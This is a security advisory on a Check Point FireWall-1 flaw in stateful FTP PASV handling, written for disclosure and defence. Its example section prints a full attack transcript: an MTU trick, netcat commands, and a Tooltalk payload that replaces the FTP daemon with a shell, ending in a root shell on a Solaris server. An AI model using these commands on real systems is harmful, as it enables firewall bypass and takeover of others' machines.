FireWall-1 FTP Server Vulnerability
Background Paper #1, data protect AG

John McDonald <jm@dataprotect.com>
Thomas Lopatic <tl@dataprotect.com>

References
----------

Please reference the recent vuln-dev posting by Mikael Olsson entitled,
"Breaking through FTP ALGs -- is it possible?" At the time of this
writing, it was not yet archived on the security focus web site.

Introduction
------------

The basic idea of the described attack is to subvert the security
policy implemented by a stateful firewall. This is done by triggering
the generation of a TCP packet that, when inspected by the firewall,
will change the firewall's internal state such that an attacker is
able to establish a TCP connection to a filtered port through the
firewall. This packet is the server response to a PASV user request
during a FTP session.

We have also come across this attack, and were in the process of
preparing a more comprehensive advisory, including other FireWall-1
security issues we have documented. The idea was to notify Check Point
of these problems and give them time to develop a software update.
However, since the general form of this vulnerability was
independently documented by Mikael Olsson and published to the
vuln-dev mailing list, we feel it is appropriate to distribute this
information now, as it relates specifically to FireWall-1, in order
to alert potential victims to this issue.

Description
-----------

Check Point FireWall-1 is vulnerable to an attack involving the
stateful support for the FTP protocol, specifically the handling of
the PASV command.
Typically, a user will send an FTP server the PASV command, and the
response from the FTP server will be the 227 message specifying to
which destination IP address and destination port the client is
expected to connect for the next data connection.

FireWall-1 monitors the packets sent from the FTP server to the
client, looking for the string "227 " at the beginning of each
packet. Upon a match, FireWall-1 will extract the destination IP
address and the destination port given in the packet payload, verify
that the specified IP address corresponds to the source address of
the packet, and allow an incoming TCP connection through the
firewall according to the destination IP address and the destination
port extracted from the datagram.

There are several restrictions on this connection which limit its
utility. Data can only travel in one direction and it cannot be to
a port that is listed in FireWall-1's list of well-known TCP
services. It is important to note that FireWall-1 version 3 does
not have this limitation, connections can be made to any port,
and the flow of data is not managed.

In order to trick FireWall-1 into allowing a connection to a port
on the FTP server, we must have the server send the "227 " string
as the first four bytes in a packet that, according to its source
port, belongs to a FTP control connection. We can typically
accomplish this by using the error handler of the FTP daemon,
in conjunction with limiting the MSS of our TCP connection.
This is easy to do by setting the MTU of our interface to a small
value we can work with, before we establish a control connection to
the victim FTP server.  This causes the return packets from the
server to be smaller, allowing us to control more easily how data
is split into packets. Thus, we can make the "227 " message
returned by the error handler appear at the beginning of a packet.
Another way to accomplish this would be to ACK up to the message
we want to receive, and then have the server retransmit the data
we want to be contained in an isolated packet.

Here is an example of an attack based on this technique. There is
a FireWall-1 machine between gumpe and the 172.16.0.2 server, which
only permits incoming FTP connections. 172.16.0.2 is a default
Solaris 2.6 install, with the Tooltalk Database vulnerability.
We send the datagram directly to the service's TCP port, in spite of
this port being blocked by the firewall. Note that since there is no
response expected, the one-way restriction doesn't affect this
attack.

All of our testing was done on a Nokia IPSO machine running FW-1
version 4.0.SP-4.

[root@gumpe /root]# strings hackfile
localhost
""""3333DDDD/bin/ksh.-c.cp /usr/sbin/in.ftpd /tmp/in.ftpd.back ; rm -f
/usr/sbin/in.ftpd ; cp /bin/sh /usr/sbin/in.ftpd
[root@gumpe /root]# /sbin/ifconfig eth0 mtu 100
[root@gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
...........................................227 (172,16,0,2,128,7)
500 '...........................................
[1]+  Stopped                 nc -vvv 172.16.0.2 21
[root@gumpe /root]# cat killfile | nc -vv  172.16.0.2 32775
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
 sent 80, rcvd 0
[root@gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
...........................................227 (172,16,0,2,128,7)
500 '...........................................
[2]+  Stopped                 nc -vvv 172.16.0.2 21
[root@gumpe /root]# cat hackfile | nc -vv  172.16.0.2 32775
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
 sent 1168, rcvd 0
[root@gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
id
uid=0(root) gid=0(root)

There is an easier way to perform a similar attack on this setup, since
the default Solaris FTP daemon allows a bounce attack, but this should
suffice to demonstrate the potential severity of this problem.

Summary
-------

If you have a FTP server behind a FireWall-1, it is possible for an
attacker to open TCP connections to certain ports on the machine,
and perform limited communication with those services. If you are
running FireWall-1 version 3, you should consider your FTP server to
have no TCP filtering. Solving this problem is inherently difficult,
but there are simple steps to take to minimize this risk.  If the
machine is properly hardened, i.e. if there are no services available
on it, apart from FTP, this makes this vulnerability have little
significance.

You can also disable the PASV handling in the FireWall-1 GUI. However,
this breaks your configuration for passive FTP clients.